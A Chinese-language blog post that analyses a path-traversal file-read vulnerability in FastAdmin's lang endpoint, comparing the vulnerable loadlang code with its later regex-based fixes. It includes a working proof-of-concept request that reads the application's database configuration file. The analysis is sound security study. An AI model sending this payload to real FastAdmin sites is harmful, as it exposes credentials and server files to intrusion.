Keye 不懂渗透的网络打手

对 Fastadmin lang任意文件读取漏洞的代码分析

📃
⚠️ 本文最后更新于2024年09月22日,已经过了213天没有更新,若内容或图片失效,请留言反馈

Fastadmin

fastadmin.jpg
FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。

POC

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: xxx.xxx.xxx.xxx

代码分析

1.2.0.20210125_beta版本分析

定位到相关文件application\index\controller\Ajax.php

<?php

namespace app\index\controller;

use app\common\controller\Frontend;
use think\Lang;

/**
 * Ajax异步请求接口
 * @internal
 */
class Ajax extends Frontend
{

    protected $noNeedLogin = ['lang', 'upload'];
    protected $noNeedRight = ['*'];
    protected $layout = '';

    /**
     * 加载语言包
     */
    public function lang()
    {
        header('Content-Type: application/javascript');
        header("Cache-Control: public");
        header("Pragma: cache");

        $offset = 30 * 60 * 60 * 24; // 缓存一个月
        header("Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT");

        $controllername = input("controllername");
        $this->loadlang($controllername);
        //强制输出JSON Object
        $result = jsonp(Lang::get(), 200, [], ['json_encode_param' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);
        return $result;
    }

    /**
     * 上传文件
     */
    public function upload()
    {
        return action('api/common/upload');
    }

}

跟进application\common\controller\Frontend.php文件中的loadlang方法:

protected function loadlang($name)
    {
        $name = Loader::parseName($name);
        Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');
    }

可以看到对$name没有任何过滤的处理,可构造类似../../application/databasePayload读取任意PHP文件。

已修复最新版本分析

直接定位文件application\common\controller\Frontend.php

protected function loadlang($name)
    {
        $name = Loader::parseName($name);
        $lang = $this->request->langset();
        $lang = preg_match("/^([a-zA-Z\-_]{2,10})\$/i", $lang) ? $lang : 'zh-cn';
        Lang::load(APP_PATH . $this->request->module() . '/lang/' . $lang . '/' . str_replace('.', '/', $name) . '.php');
    }

通过/^([a-zA-Z\-_]{2,10})\$/i对路径语言进行过滤,防止通过../跨目录读取。

彩蛋

在查看application/common/controller/Api.php历史文件中,发现loadlang方法的历史提交记录如下。

//V1版本
protected function loadlang($name)
    {
        $name = Loader::parseName($name);
        Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');
    }
//V2版本
protected function loadlang($name)
    {
        $name = Loader::parseName($name);
        $lang = $this->request->langset();
        $lang = preg_match("/^([a-zA-Z\-_]{2,10})\$/i", $lang) ? $lang : 'zh-cn';
        Lang::load(APP_PATH . $this->request->module() . '/lang/' . $lang . '/' . str_replace('.', '/', $name) . '.php');
    }
//V3版本
protected function loadlang($name)
    {
        $name = Loader::parseName($name);
        $name = preg_match("/^([a-zA-Z0-9_\.\/]+)\$/i", $name) ? $name : 'index';
        $lang = $this->request->langset();
        $lang = preg_match("/^([a-zA-Z\-_]{2,10})\$/i", $lang) ? $lang : 'zh-cn';
        Lang::load(APP_PATH . $this->request->module() . '/lang/' . $lang . '/' . str_replace('.', '/', $name) . '.php');
    }

本文首发于keye.wang,转载请注明出处。

By Keye On